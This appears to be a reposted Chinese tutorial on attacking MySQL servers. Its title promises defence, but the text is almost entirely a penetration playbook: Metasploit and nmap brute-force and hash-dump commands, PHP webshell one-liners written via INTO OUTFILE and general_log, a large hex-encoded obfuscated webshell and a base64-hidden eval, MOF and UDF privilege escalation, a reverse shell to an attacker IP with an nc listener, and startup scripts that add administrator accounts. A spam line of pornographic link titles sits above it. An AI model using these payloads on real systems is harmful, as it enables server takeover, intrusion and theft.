日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

MySQL数据库入侵及防御方法

發布時間:2024/5/8 数据库 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 MySQL数据库入侵及防御方法 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

來自:http://blog.51cto.com/simeon/1981572

作者介紹

陳小兵,高級工程師,具有豐富的信息系統項目經驗及18年以上網絡安全經驗,現主要從事網絡安全及數據庫技術研究工作。《黑客攻防及實戰案例解析》《Web滲透及實戰案例解析》《安全之路-Web滲透及實戰案例解析第二版》《黑客攻防實戰加密與解密》《網絡攻防實戰研究:漏洞利用與提權》作者,在國內多本學術期刊發表論文20余篇,并在多本IT雜志發表文章100余篇。

?

在針對網站滲透中,很多都是跟 MySQL 數據庫有關,各種 MySQL 注入、MySQL 提權、MySQL 數據庫 Root 賬號 webshell 獲取等,但沒有一個對 MySQL 數據庫滲透較為全面的總結。

?

針對這種情況我們開展了研究,但技術的進步永無止境,思想有多遠,路就可以走多遠,在研究 MySQL 數據庫安全之余,我們也對 MySQL 如何通過 msf、sqlmap 等來進行掃描、漏洞利用、提權、MySQL 密碼破解和獲取 webshell 等進行了詳細研究。

?

一、MySQL 信息收集

?

1、端口信息收集

?

MySQL 默認端口是 3306 端口,但也有自定義端口,針對默認端口掃描主要利用掃描軟件進行探測,推薦使用:

?

  • iisputter,直接填寫 3306 端口,IP 地址填寫單個或者 C 段地址;

  • Nmap?掃描?Nmap?-p 3306 192.168.1.1-254。

    ?

特定目標的滲透,可能需要對全端口進行掃描,可以使用 Nmap 對某一個 IP 地址進行全端口掃描,端口掃描軟件還有 sfind 等 DOS 下掃描的工具。

?

2、版本信息收集

?

msf 查看版本信息“auxiliary/scanner/mysql/mysql_version”模塊

?

以掃描主機?192.168.157.130?為例,命令為:

use?auxiliary/scanner/mysql/mysql_version

set?rhosts?192.168.157.130

run

MySQL 查詢版本命令:

?

SELECT @@version、SELECT? version();

sqlmap 通過注入點掃描確認信息:

sqlmap.py?-u?url?--dbms?mysql

phpmyadmin 管理頁面登錄后查看 localhost->變量->服務器變量和設置中的 version 參數值。

?

3、數據庫管理信息收集

?

MySQL 管理工具有多種,例如 phpmyadmin 網站管理,Navicat for MySQL 以及 MySQL Front 等客戶端工具。這些工具有的會直接保存配置信息,這些信息包含數據庫服務器地址和數據庫用戶名以及密碼,通過嗅探或者破解配置文件可以獲取密碼等信息。

?

4、msf 信息收集模塊

?

MySQL?哈希值枚舉:

use?auxiliary/scanner/mysql/mysql_hashdump

set?username?root

set?password?root

run

獲取相關信息:

use?auxiliary/admin/mysql/mysql_enum

set?username?root

set?password?root

run

獲取數據庫版本,操作系統名稱,架構,數據庫目錄,數據庫用戶以及密碼哈希值。

?

執行 MySQL?語句,連接成功后可以在 msf 執行 SQL 語句,跟 sqlmap 的“--sql-shell”模塊類似

use?auxiliary/admin/mysql/mysql_sql

將mysql_schem導出到本地/root/.msf4/loot/文件夾下

use?auxiliary/scanner/mysql/mysql_schemadump

文件枚舉和目錄可寫信息枚舉

auxiliary/scanner/mysql/mysql_file_enum

auxiliary/scanner/mysql/mysql_writable_dirs

沒有測試成功過,需要定義枚舉目錄和相關文件,覺得基本沒什么用。

?

二、MySQL 密碼獲取

?

1、暴力破解

?

MySQL?暴力破解主要有幾種:

?

網頁在線連接破解:

?

可以使用 burpsuite 和 phpMyAdmin 多線程批量破解工具。

下載:

  • https://portswigger.net/burp/

  • http://pan.baidu.com/s/1c1LD6co

?

msf?通過命令行進行暴力破解:

?

msf 破解?MySQL?密碼模塊 auxiliary/scanner/mysql/mysql_login,其參數主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE參數。

?

對單一主機僅僅需要設置 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它參數根據實際情況進行設置。

?

場景A:對內網獲取 Root 某個口令后,擴展滲透

use?auxiliary/scanner/mysql/mysql_login

set?RHOSTS?192.168.157.1-254

set?password?root

set?username?root

run

執行后對 192.168.157.1-254 進行 MySQL?密碼掃描驗證。

?

場景B:使用密碼字典進行掃描

use?auxiliary/scanner/mysql/mysql_login

set?RHOSTS?192.168.157.1-254

set?pass_file?/tmp/password.txt

set?username?root

run

?

使用 nmap 掃描并破解密碼:

?

對某一個 IP 或者 IP 地址段進行 nmap 默認密碼暴力破解并掃描

nmap?--script=mysql-brute?192.168.157.130

nmap?--script=mysql-brute?192.168.157.1-254

使用 Root 賬號 Root 密碼進行?MySQL?密碼驗證并掃描獲取指定 IP 地址的端口信息以及?MySQL?數據庫相關信息

nmap?-sV?--script=mysql-databases?--script-argsmysqluser=root,mysqlpass=root?192.168.157.130

檢查 Root 空口令

nmap?--script?mysql-empty-password?192.168.195.130

?

對 MySQL 口令進行掃描:

?

使用 hscan 工具對 MySQL 口令進行掃描,需要設置掃描 IP 地址段以及數據庫口令字典及用戶名字典。

?

2、源代碼泄露

?

網站源代碼備份文件:

?

一些網站源代碼文件中會包含數據庫連接文件,通過查看這些文件可以獲取數據庫賬號和密碼。一般常見的數據庫連接文件為 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘雞可以自定義網站等名稱對 zip/rar/tar/tar.gz/gz/sql 等后綴文件進行掃描。

?

配置備份文件:

?

使用 ultraedit 等編輯文件編輯數據庫配置文件后,會留下 bak 文件。

?

3、文件包含

?

本地文件包含漏洞可以包含文件,通過查看文件代碼獲取數據庫配置文件,進而讀取數據庫用戶名和密碼。

?

4、其它情況

?

有些軟件會將 IP 地址、數據庫用戶名和密碼寫進程序中,運行程序后,通過 cain 軟件進行嗅探,可以獲取數據庫密碼。另外?MySQL客戶端管理工具有的管理員會建立連接記錄,這些連接記錄保存了用戶名、密碼和連接 IP 地址或者主機名,通過配置文件或者嗅探可以獲取用戶名和密碼。

?

三、MySQL 獲取 webshell

?

1、phpmyadminroot 賬號獲取 webshell

?

MySQL Root 賬號通過 phpMyAdmin 獲取 webshell 的思路,主要有下面幾種方式,以第1)2)6)8)方法較佳,其它可以根據實際情況來進行。

?

1)直接讀取后門文件:

?

通過程序報錯、phpinfo 函數、程序配置表等直接獲取網站真實路徑,有些網站前期已經被人滲透過,因此在目錄下留有后門文件通過 load_file 直接讀取。

?

2)直接導出一句話后門:

?

前提需要知道網站的真實物理路徑,例如呼求偶真實路徑 D:\work\WWW,則可以通過執行以下查詢,來獲取一句話后門文件 cmd.php,訪問地址:http://www.somesite.com/cmd.php

select?'<?php?@eval($_POST[antian365]);?>'INTO?OUTFILE?'D:/work/WWW/antian365.php'

?

3)創建數據庫導出一句話后門:

?

在查詢窗口直接執行以下代碼即可,跟2)原理類似

CREATE?TABLE?`mysql`.`antian365`?(`temp`?TEXT?NOTNULL?);

INSERT?INTO?`mysql`.`antian365`?(`temp`?)?VALUES('<?php?@eval($_POST[antian365]);?>');

SELECT?`temp`?FROM?`antian365`?INTO?OUTFILE'D:/www/antian365.php';

DROP?TABLE?IF?EXISTS?`antian365`;

?

4)可執行命令方式:

?

創建執行命令形式的 Shell,但前提是對方未關閉系統函數。該方法導出成功后可以直接執行 DOS 命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接執行dos命令)

select?'<?php?echo?\'<pre>\';system($_GET[\'cmd\']);?echo?\'</pre>\'; ?>'?INTO?OUTFILE?'d:/www/antian365.php'

另外在 Linux 下可以導出直接執行命令的 Shell

SELECT?'<??system($_GET[\'c\']);??>'?INTO?OUTFILE?'/var/www/shell.php';

http://localhost/shell.php?c=cat%20/etc/passwd

?

5)過殺毒軟件方式:

?

通過后臺或者存在上傳圖片的地方,上傳圖片 publicguide.jpg,內容如下

<?php$a='?PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?>

然后通過圖片包含 temp.php,導出 webshell

select?'<?php?include?'publicguide.jpg'??>'INTO?OUTFILE?'D:/work/WWW/antian365.php'

一句話后門密碼:antian365

?

6)直接導出加密 webshell:

?

一句話后門文件密碼:pp64mqa2x1rnw68,執行以下查詢直接導出加密 webshell,D:/WEB/IPTEST/22.php,注意在實際過程需要修改 D:/WEB/IPTEST/22.php

select?unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E')?into?dumpfile?'D:/WEB/IPTEST/22.php'

(上下拉動可完整查看)

?

注意:也可以使用?http://tool.lu/hexstr/?網站的代碼轉換來實現,將需要導出的文件代碼復制到網站的字符串中,通過字符串轉成十六進制,將十六進制字符串放入 unhex 函數進行查詢即可

select?unhex('十六進制字符串')?into?dumpfile?'D:/WEB/shell.php'

?

7)CMS 系統獲取 webshell:

?

有些情況下無法獲取網站的真實路徑,則意味著無法直接導出一句話 webshell,可以通過 CMS 系統管理賬號登錄系統后,尋找漏洞來突破,例如 dedecms 可以通過破解管理員賬號后直接上傳文件來獲取 webshell。Discuz!的 UC_key 可以直接獲取 webshell。甚至某些系統可直接上傳 php 文件。下面是一些 CMS 系統滲透的技巧:

?

  • dedecms 系統的密碼有直接 md5,也有20位的密碼,如果是20位的密碼則需要去掉密碼中的前3位和最后1位,然后對剩余的值進行md5解密即可;

  • phpcms v9 版本的密碼需要加 salt 進行破解,需要選擇破解算法 md5(md5($pass).$salt) 進行破解;

  • Discuz!論壇帳號保存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要帶salt進行,其破解時是使用password:salt進行,例如 a0513df9929afc972f024fa4e586e829:399793。

?

8)general_log_file 獲取 webshell:

?

查看 genera 文件配置情況

show?global?variables?like?"%genera%";

關閉 general_log

set?global?general_log=off;

通過 general_log 選項來獲取 webshell

set?global?general_log='on';

SET?global?general_log_file='D:/phpStudy/WWW/cmd.php';

在查詢中執行語句

SELECT?'<?php?assert($_POST["cmd"]);?>';

Shell 為 cmd.php,一句話后門,密碼為cmd。

?

2、Sqlmap 注入點獲取 webshell

?

Sqlmap 注入點獲取 webshell 的前提是具備寫權限,一般是 Root 賬號,通過執行命令來獲取

sqlmap?-u?url--os-shell

??echo?"<?php?@eval($_POST['c']);?>"?>/data/www/1.php

?

四、MySQL 提權

?

1、mof提權

?

webshell?上傳 mof 文件提權:

?

MySQL Root 權限 MOF 方法提權是來自國外 Kingcope 大牛發布的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),簡稱 MySQL 遠程提權 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規范 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:

?

  • 方法1:運行 MOF 文件指定為命令行參數 Mofcomp.exe 文件;

  • 方法2:使用 IMofCompiler 接口和 $ CompileFile 方法;

  • 方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。

?

Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向后兼容性與早期版本的 WMI 提供,并因為此功能可能不會提供在將來的版本后,不應使用。注意使用 MOF 方法提權的前提是當前 Root 帳號可以復制文件到 %SystemRoot%\System32\Wbem\MOF 目錄下,否則會失敗!

?

該漏洞的利用前提條件是必須具備 MySQL 的 Root 權限,在 Kingcope 公布的 0day 中公布了一個 pl 利用腳本。

?

perl?mysql_win_remote.pl?192.168.2.100?root?""?192.168.2.150?5555

192.168.2.100 為?MySQL?數據庫所在服務器,MySQL?口令為空,反彈到 192.168.2.150 的 5555 端口上。

?

生成 nullevt.mof 文件:

?

將以下代碼保存為nullevt.mof文件:

#pragma?namespace("\\\\.\\root\\subscription")?

instance?of?__EventFilter?as?$EventFilter

{?

EventNamespace?=?"Root\\Cimv2";?

Name??=?"filtP2";?

????Query?=?"Select?*?From?__InstanceModificationEvent?"?

????????????"Where?TargetInstance?Isa?\"Win32_LocalTime\"?"?

????????????"And?TargetInstance.Second?=?5";?

QueryLanguage?=?"WQL";?

};?

instance?of?ActiveScriptEventConsumer?as?$Consumer?

{?

????Name?=?"consPCSV2";?

ScriptingEngine?=?"JScript";?

ScriptText?=?

????"var?WSH?=?new?ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe?user?admin?admin?/add")";?

};?

instance?of?__FilterToConsumerBinding

{?

????Consumer???=?$Consumer;?

????Filter?=?$EventFilter;?

};

(上下拉動可完整查看)

?

通過?MySQL?查詢將文件導入:

?

執行以下查詢語句,將上面生成的 nullevt.mof 導入到 c:\windows\system32\wbem\mof\ 目錄下在windows7 中默認是拒絕訪問的。導入后系統會自動運行,執行命令

selectload_file('C:\\RECYCLER\\nullevt.mof')?into?dumpfile?'c:/windows/system32/wbem/mof/nullevt.mof';

?

msf?直接 mof 提權:

?

msf 下的 exploit/windows/mysql/mysql_mof 模塊提供了直接 mof 提權,不過該漏洞成功跟操作系統權限和?MySQL?數據庫版本有關,執行成功后會直接反彈 Shell 到 meterpreter

use?exploit/windows/mysql/mysql_mof

set?rhost?192.168.157.1?//設置需要提權的遠程主機IP地址

set?rport?3306?//設置mysql的遠程端口

set?password?root?//設置mysql數據庫root密碼

set?username?root?//設置mysql用戶名

options?//查看設置

run?0

?

技巧:要是能夠通過網頁連接管理(phpmyadmin),則可以修改 host 為“%”并刷新權限后,則可以通過 msf 等工具遠程連接數據庫。默認 Root 等賬號不允許遠程連接,除非管理員或者數據庫用戶自己設置。

?

方法1:本地登入?MySQL,更改 "MySQL" 數據庫里的 "user" 表里的 "host" 項,將"localhost"改為"%"

use?mysql;

?update?user?set?host?=?'%'?where?user?=?'root';

FLUSH?PRIVILEGES?;

?select?host,?user?from?user;

?

方法2:直接授權(推薦)

從任何主機上使用 Root 用戶,密碼:youpassword(你的root密碼)連接到?MySQL?服務器

#?mysql?-u?root?-proot

GRANT?ALL?PRIVILEGES?ON?*.*?TO?'root'@'%'?IDENTIFIED?BY?'youpassword'?WITH?GRANT?OPTION;

FLUSH?PRIVILEGES;

?

推薦重新增加一個用戶,在實際測試過程中發現很多服務器使用 Root 配置了多個地址,修改后可能會影響實際系統的運行。在實際測試過程中因此建議新增一個用戶,授權所有權限,而不是直接更改 Root 配置。

?

2、udf 提權

?

UDF 提權是利用?MySQL?的自定義函數功能,將?MySQL?賬號轉化為系統 system 權限,利用條件的目標系統是 Windows(Win2000/XP/2003);擁有?MySQL?的某個用戶賬號,此賬號必須有對?MySQL?的 insert 和 delete 權限以創建和拋棄函數,有 Root 賬號密碼Windows 下 UDF 提權對于 Windows2008 以下服務器比較適用,也即針對 Windows2000、Windows2003 的成功率較高。

?

UDF?提權條件:

?

  • MySQL?版本大于 5.1 版本 udf.dll 文件必須放置于?MySQL?安裝目錄下的 lib\plugin 文件夾下。

  • MySQL?版本小于 5.1 版本。udf.dll 文件在 Windows2003 下放置于 c:\windows\system32,在?Windows2000 下放置于 c:\winnt\system32。

  • 掌握的?MySQL?數據庫的賬號有對?MySQL?的 insert 和 delete 權限以創建和拋棄函數,一般以 Root 賬號為佳,具備 Root 賬號所具備的權限的其它賬號也可以。

  • 可以將 udf.dll 寫入到相應目錄的權限。

?

提權方法:

?

獲取數據庫版本、數據位置以及插件位置等信息

select?version();//獲取數據庫版本

select?user();//獲取數據庫用戶

select?@@basedir?;//獲取安裝目錄

show?variables?like?'%plugins%';??//尋找mysql安裝路徑

導出路徑

C:\Winnt\udf.dll????Windows?2000

C:\Windows\udf.dll???Windows2003(有的系統被轉義,需要改為C:Windowsudf.dll)

?

MySQL 5.1 以上版本,必須要把 udf.dll 文件放到 MySQL 安裝目錄下的 libplugin 文件夾下才能創建自定義函數。該目錄默認是不存在的,這就需要我們使用 webshell 找到?MySQL?的安裝目錄,并在安裝目錄下創建 libplugin 文件夾,然后將 udf.dll 文件導出到該目錄即可。

?

在某些情況下,我們會遇到 Can't open shared library 的情況,這時就需要我們把 udf.dll 導出到 lib\plugin 目錄下才可以,網上大牛發現利用 NTFS ADS 流來創建文件夾的方法

select?@@basedir;??//查找到mysql的目錄

select?'It?is?dll'?into?dumpfile?'C:\\Program?Files\\MySQL\\MySQL?Server?5.1\\lib::$INDEX_ALLOCATION';???//利用NTFS?ADS創建lib目錄

select?'It?is?dll'?into?dumpfile?'C:\\Program?Files\\MySQL\\MySQL?Server?5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS?ADS創建plugin目錄

執行成功以后就會 plugin 目錄,然后再進行導出 udf.dll 即可。

?

創建 cmdshell 函數,該函數叫什么名字在后續中則使用該函數進行查詢

create?function?cmdshell?returns?string?soname?‘lib_mysqludf_sys.dll’;

執行命令

select?sys_eval(‘whoami’);

一般情況下不會出現創建不成功哦。連不上 3389 可以先停止 windows 防火墻和篩選

select?sys_eval(‘net?stop?policyagent’);

select?sys_eval(‘net?stop?sharedaccess’);

udf.dll 下常見函數

cmdshell??執行cmd;

downloader??下載者,到網上下載指定文件并保存到指定目錄;

open3389????通用開3389終端服務,可指定端口(不改端口無需重啟);

backshell???反彈Shell;

ProcessView?枚舉系統進程;

KillProcess?終止指定進程;

regread?????讀注冊表;

regwrite????寫注冊表;

shut????????關機,注銷,重啟;

about???????說明與幫助函數;

具體用戶示例

select?cmdshell('net?user?iis_user?123!@#abcABC?/add');

select?cmdshell('net?localgroup?administrators?iis_user?/add');

select?cmdshell('regedit?/s?d:web3389.reg');

select?cmdshell('netstat?-an');

清除痕跡

drop?function?cmdshell;//將函數刪除

刪除 udf.dll 文件以及其它相關入侵文件及日志。

?

常見錯誤

#1290?-?The?MySQL?server?is?running?with?the?--secure-file-priv?option?so?it?cannot?execute?this?statement

SHOW?VARIABLES?LIKE?"secure_file_priv"

在 my.ini 或者 mysql.cnf? 文件中注銷 (使用#號) 包含 secure_file_priv 的行。

?

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要將 my.ini 中的 skip-grant-tables 選項去掉。

?

webshell?下 udf 提權:

?

通過集成 udf 提權的 webshell 輸入數據庫用戶名及密碼以及數據庫服務器地址或者IP通過連接后導出進行提權。

?

MySQL?提權綜合利用工具:

?

v5est0r 寫了一個?MySQL?提權綜合利用工具,詳細情況請參考其代碼共享網站:https://github.com/v5est0r/Python_FuckMySQL,其主要功能有:

?

  • 自動導出你的 backdoor 和 mof 文件;

  • 自動判斷?MySQL?版本,根據版本不同導出 UDF 的 DLL 到不同目錄,UDF 提權;

  • 導出 LPK.dll 文件,劫持系統目錄提權;

  • 寫啟動項提權。

?

UdF 自動提權

python?root.py?-a?127.0.0.1?-p?root?-e?"ver&whoami"?-m?udf

LPK 劫持提權

python?root.py?-a?127.0.0.1?-p?root?-e?"ver&whoami"?-m?lpk

啟動項提權

python?root.py?-a?127.0.0.1?-p?root?-e?"ver&whoami"?–mst

例如通過 LOAD_FILE 來查看?MySQL?配置文件 my.ini,如果其中配置了 skip-grant-tables,這無法進行提權。

?

3、無法獲取 webshell 提權

?

連接 MySQL:

  • mysql.exe -h ip -uroot -p

  • phpmyadmin

  • Navicat for MySQL

?

查看數據庫版本和數據路徑:

?

SELECT?VERSION(?);

Select?@@datadir;

5.1 以下版本,將 dll 導入到 c:/windows 或者 c:/windows/system32/

5.1 以上版本 通過以下查詢來獲取插件路徑

SHOW?VARIABLES?WHERE?Variable_Name?LIKE?"%dir";

show?variables?like?'%plugin%'?;

select?load_file('C:/phpStudy/Apache/conf/httpd.conf')

select?load_file('C:/phpStudy/Apache/conf/vhosts.conf')

select?load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')

select?load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')

select?load_file('d:/phpStudy/Apache/conf/vhosts.conf')

?

修改?MySQL.txt:

?

MySQL.txt 為 udf.dll 的二進制文件轉成十六進制代碼。

?

  • 先執行導入 ghost 表中的內容,修改以下代碼的末尾代碼:select backshell("YourIP",4444);

  • 導出文件到某個目錄

?

?

導出過程:

select?data?from?Ghost?into?dumpfile?'c:/windows/mysqldll.dll';?

select?data?from?Ghost?into?dumpfile?'c:/windows/system32/mysqldll';?

select?data?from?Ghost?into?dumpfile?'c:/phpStudy/MySQL/lib/plugin/mysqldll';?

select?data?from?Ghost?into?dumpfile?'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';?

select?data?from?Ghost?into?dumpfile?'C:/websoft/MySQL/MySQL?Server?5.5/lib/plugin/mysqldll.dll'?

select?data?from?Ghost?into?dumpfile?'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';?

C:\ProgramData\MySQL\MySQL?Server?5.1\Data\mysql/user.myd

select?load_file('C:/ProgramData/MySQL/MySQL?Server?5.1/Data/mysql/user.frm');

select?data?from?Ghost?into?dumpfile?'C:\Program?Files\MySQL\MySQL?Server?5.1\lib/plugin/mysqldll.dll'

(上下拉動可完整查看)

?

  • 查看 FUNCTION 中是否存在 cmdshell 和 backshell,存在則刪除

drop?FUNCTION?cmdshell;//刪除cmdshell

drop?FUNCTION?backshell;//刪除backshell

  • 創建backshell

CREATE?FUNCTION?backshell?RETURNS?STRING?SONAME?'mysqldll.dll';?//創建backshell
  • 在具備獨立主機的服務器上執行監聽

nc?-vv?-l?-p?44444
  • 執行查詢

select?backshell("192.192.192.1",44444);//修改192.192.192.1為你的IP和端口

?

獲取 webshell 后添加用戶命令:

?

注意如果不能直接執行,則需要到 c:\windows\system32\ 下執行

net?user?antian365?Www.Antian365.Com?/add?

net?localgroup?administrators?antian365

?

4、Sqlmap 直連數據庫提權

?

Sqlmap 直接連接數據庫提權,需要有寫入權限和 Root 賬號及密碼,命令如下:

?

  • 連接數據庫:sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell

  • 選擇操作系統的架構,32 位操作系統選擇 1,64 位選擇 2

  • 自動上傳 udf 或提示 os-shell

  • 執行 whomai 命令如果獲取系統權限,則表示提權成功。

?

Msfudf 提權:

?

Kali 滲透測試平臺下執行(kali下載地址https://www.kali.org/downloads/)

msfconsole

use exploit/windows/mysql/mysql_payload

options

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run 0或者exploit

?

msf 下 udf 提權成功率并不高,跟 windows 操作系統版本,權限和數據庫版本有關,特別是 secure-file-priv 選項,如果有該選項基本不會成功。

?

5、啟動項提權

?

創建表并插入 vbs 腳本到表中:

?

依次使用以下命令

show databases ;

use test;

show tables;

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );

select * from a;

導出 vbs 腳本到啟動:

?

使用以下命令將剛才在 a 表中創建的 vbs 腳本導出到啟動選項中

select * from a into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\a.vbs";

導入成功后,系統重新啟動時會自動添加密碼為“1”且用戶名稱為“1”的用戶到管理員組中。在實際使用過程中該腳本成功執行的幾率比較低,有時候會出現不能導出的錯誤。

?

推薦使用以下腳本

show databases ;

use test;

show tables;

create table b (cmd text);

insert into b values ("net user Aspnet123545345!* /add");

insert into b values ("net localgroup administrators Aspnet /add");

insert into b values ("del b.bat");

select * from b into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\b.bat";

該腳本執行后雖然會閃現 DOS 窗口,如果有權限導入到啟動選項中,則一定會執行成功,在虛擬機中通過 MySQL 連接器連接并執行以上命令后,在“C:\Documents and Settings\All Users\「開始」菜單\程序\啟動”目錄中會有剛才導出的 b.bat 腳本文件。

?

說明:在不同的操作系統中“C:\Documents and Settings\All Users\「開始」菜單\程序\啟動”目錄文件名稱可能會不同,這個時候就要將其目錄換成相應的目錄名稱即可。例如如果是英文版本操作系統則其插入的代碼為

select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat";

Windows 2008 Server的啟動目錄為:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

其 vbs 方法可以參考如下寫法

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " );

select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";

?

msf 下模塊 exploit/windows/mysql/mysql_start_up 提權:

??

? ? ??use exploit/windows/mysql/mysql_start_up

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run

msf 下 mysql_start_up 提權有一定的幾率,對英文版系統支持較好。

?

五、msf 其它相關漏洞提權

?

1、MySQL?身份認證漏洞及利用(CVE-2012-2122)

?

當連接 MariaDB/MySQL 時,輸入的密碼會與期望的正確密碼比較,由于不正確的處理,會導致即便是 memcmp() 返回一個非零值,也會使 MySQL 認為兩個密碼是相同的。也就是說只要知道用戶名,不斷嘗試就能夠直接登入 SQL 數據庫。按照公告說法大約 256 次就能夠蒙對一次。受影響的產品:?

?

  • All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞

